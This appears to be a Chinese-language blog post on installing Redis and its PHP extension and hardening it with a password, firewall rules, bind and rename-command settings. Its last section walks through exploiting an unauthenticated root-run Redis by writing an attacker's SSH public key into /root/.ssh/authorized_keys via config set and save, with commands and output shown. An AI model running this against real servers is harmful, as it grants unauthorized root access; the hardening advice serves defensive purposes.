您当前的位置:首页 > 学海无涯 > 信息安全网站首页信息安全
Redis安装与安全配置
发布时间:2015-11-12作者:♂逸風★淩軒
一、安装Redis服务端
#wget http://download.redis.io/releases/redis-6.2.4.tar.gz #cd redis-6.2.4 centos 7安装高版本Reids需要额外执行如下 #yum -y install centos-release-scl #yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils #scl enable devtoolset-9 bash #make PREFIX=/usr/local/redis install #mkdir -p /usr/local/redis/etc/
二、安装Redis-PHP组件
wget http://pecl.php.net/get/redis-2.2.7.tgz cd redis-2.2.7 /usr/local/php/bin/phpize ./configure --with-php-config=/usr/local/php/bin/php-config make && make install sed -i '/the dl()/i\extension = "redis.so"' /usr/local/php/etc/php.ini cp init.d.redis /etc/init.d/redis cp redis.conf /usr/local/redis/etc/ chmod +x /etc/init.d/redis chkconfig redis on mkdir -p /tmp/redis/ ##设定redis存储目录,由redis.conf指定 /etc/init.d/php-fpm restart /etc/init.d/redis start
配置启动文件:
三、安全配置
1、设定Redis访问密码
修改redis.conf,取消下行代码注释#,并修改foobared默认密码
# requirepass foobared
重启redis
此时如需要访问Redis需要要使用-a参数 指定新密码比如myRedis,否则登陆进去无权限,如设定有slave服务器,相应slave服务器也许要指定如上指定修改密码。
redis-cli -h 127.0.0.1 -p 6379 -a myRedis
2、防火墙限制默认端口6379的访问
3、配置bind选项,限定可以连接Redis服务器的IP,修改Redis默认端口6379
4、 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
5、 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
四、漏洞的利用
1、端口未授权访问且未使用密码或弱密码被爆破
直接使用redis-cli或者桌面管理RedisDesktopManager链接访问直接读取Redis存储的机密数据造成信息泄漏
2、SSH免密码登录,Linux下可以设置SSH免密码登录,方法为使用"公私钥"认证,即首先在客户端上创建一对公私钥 (公钥文件~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了SSH免密码登陆远程服务器
Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。
方法如下:
config set dir /xxx config set dbfilename xxxx set xxxx "xxx" save
上述两种常见的运维方法结合,在以下条件下:
①Redis服务使用ROOT账号启动
②Redis服务无密码认证或者使用的是弱口令进行认证
③服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
如下图:
①首先在本地生成一对密钥:
$ssh-keygen –t rsa
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
②然后通过redis-clis远程连接到目标redis服务器,执行以下命令
config set dir /root/.ssh/ config set dbfilename authorized_keys
set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。
或
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
关键字词:漏洞,服务搭建,安全配置,信息安全,redis

上一篇:ssh反弹相关操作
下一篇:Memcached安装与安全配置